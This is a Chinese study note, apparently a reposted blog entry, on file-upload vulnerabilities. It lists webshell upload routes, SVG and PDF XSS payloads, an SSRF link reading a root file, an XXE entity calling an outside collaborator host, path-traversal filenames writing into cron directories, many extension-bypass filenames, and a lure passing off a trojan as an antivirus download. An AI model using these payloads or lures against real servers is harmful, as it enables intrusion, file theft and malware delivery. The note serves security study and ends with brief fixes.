学习笔记-Upload

Upload


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


描述

文件上传过程中,通常因为未校验上传文件后缀类型,导致用户可上传一些 webshell 文件。

相关文章

相关案例

相关工具

靶场

在线 SQLi 测试


检测方法

waf、rasp 对上传文件的检测方法有这几种

  • 后缀检测(黑白名单)
  • 文件内容检测
  • Content-Type 检测
  • 后端二次渲染(图片裁剪、图片水印)

利用方式

网站脚本文件

如 asp、aspx、jsp、php 后缀的网站脚本文件,通过访问上传的 webshell 执行系统命令,获取服务器权限。

可造成 XSS 或跳转的钓鱼文件

  • html

  • svg

    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
    
  • pdf
    xss

    app.alert('XSS');
    

    ssrf

    <link rel=attachment href="file:///root/secret.txt">
    
  • xml

服务器可执行文件(PE、sh)

配合社工手段,例如 : 最近办公内网发现大量勒索病毒,信息科紧急部署了新版杀毒引擎,请各部门人员立即下载,下载地址: www.xxx.com/upload/木马查杀工具.exe

mp4、avi

配合 ffmpeg 漏洞

shtml

ssi 注入

xlsx

XXE

  1. 创建一个 xlsx 文档,更改后缀为 zip,解压。
  2. 打开 Burp Suite Professional,单击 Burp 菜单并选择 “Burp Collaborator client” 将其打开, 复制到粘贴板。
  3. 找到 Content_Types.xml 文件,插入 xxe 代码到文件中。
    <!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://xxx.burpcollaborator.net"> ]>
    <x>&xxe;</x>
    
  4. 重新压缩为 zip 文件,更改后缀为 xlsx。上传 xlsx 文档到目标服务器,如果没有禁用外部实体,就会存在 XXE 漏洞,burp 接收到请求。

路径穿越写 shell

  1. 例如可以上传文件名为 ../../../../var/spool/cron/root ,通过这种方式执行命令
  2. 如果做了白名单后缀,只允许 jpg ,可以传到 /etc/cron.d/ 目录下,这里文件可以任意后缀命名,上传文件名为 …/…/…/…/…/…/etc/cron.d/test.jpg 绕过对应的安全检查

跨目录解压

相关工具

  • ptoomey3/evilarc
  • Rvn0xsy/zipcreater - 应用于跨目录的文件上传漏洞的利用,它能够快速进行压缩包生成。
  • TheKingOfDuck/evilzip - evilzip lets you create a zip file(with password) that contains files with directory traversal characters in their embedded path.

Bypass

信息泄露

  • 云平台 API key 泄露

解析漏洞

  • IIS 解析漏洞
  • Nginx 解析漏洞
  • Apache 解析漏洞
  • CGI 解析漏洞

恶意上传

  • zip、mp4 占用资源
  • HTML XSS

后缀检测

  • 后缀名Fuzz
    • AboutSecurity/Dic/Web/Upload/
    • web通用
      • htm
      • html
      • shtml
    • .net
      • asa
      • asp
      • ashx
      • asmx
      • aspx
      • axd
      • cdx
      • cer
      • config
      • cshtm
      • cshtml
      • rem
      • soap
      • svc
      • shtml
      • vbhtm
      • vbhtml
    • java
      • jsp
      • jspa
      • jsps
      • jspx
      • jspf
    • php
      • php
      • php1
      • php2
      • php3
      • php4
      • php5
      • phtml
    • Misc
      • txt
      • svg
      • pdf
      • xml
      • xlsx
  • 大小写(windows)
    • xxx.pHpxxx.Jsp
  • 空格绕过
    • xxx .php
    • xxx.php
  • 点绕过
    • xxx.php.
  • 换行
    • xxx.txt%0aphp
    • xxx.ph\np
  • .空格. 绕过(windows)
    • xxx.php .
    • xxx.php .jpg
    • xxx.php. .jpg
  • 特殊字符
    • xxx.php::$DATA (windows)
    • xxx.php::$DATA...... (windows)
    • xxx.php/
    • xxx.php?
    • xxx./php (linux)
  • 特殊字符+白后缀
    • xxx.php.jpg
    • xxx.php_.jpg
    • xxx.php/1.jpg
    • xxx.php{}.jpg
    • xxx.php;jpg
    • xxx.php;.jpg
    • xxx.php;+x.jpg
    • xxx.php:1.jpg
    • xxx.php.123
    • xxx.jpg/.php
    • xxx.jpg/php
    • xxx.jpg/1.php
    • xxx.jpg{}.php
  • 双写绕过
    • phpphp.php
    • php.php
    • xxx.pphphp
    • xxx.asaspxpx
  • 00 截断
    • file.jpg%00shell.php
    • shell.php%00file.jpg
    • shell.php%00.jpg
  • .htaccess
  • 中间件解析漏洞
  • 参数
    • 修改 filename="xx.php"filename==="xxx.php"
    • 修改 filename="xx.php"filename='xxx.php'
    • 修改 filename="xx.php"filename=xxx.php

文件内容检测

  • 免杀
  • 添加图片头
    • GIF89a
  • 大文件
  • 参数污染

恶意覆盖

  • 覆盖资源文件造成全局 XSS
  • 覆盖配置文件修改配置

Content-Type 检测


后端二次渲染

  • 图片马

访问拦截

  • 路径
    • xxx.com/test/img/1.png/../../shell.php
  • 解析
    • xxx.com/shell.php;/.png

软链接

如果攻击者上传了一个软链文件,软链描述对应的是 /etc/passwd 的话,攻击者可利用程序读取到服务器的关键文件内容


修复方案

  • 使用白名单校验上传文件类型、大小限制
  • 随机重命名上传的文件

点击关注,共同学习!
安全狗的自我修养

github haidragon

https://github.com/haidragon

posted @ 2022-11-01 15:04  syscallwww  阅读(135)  评论(0编辑  收藏  举报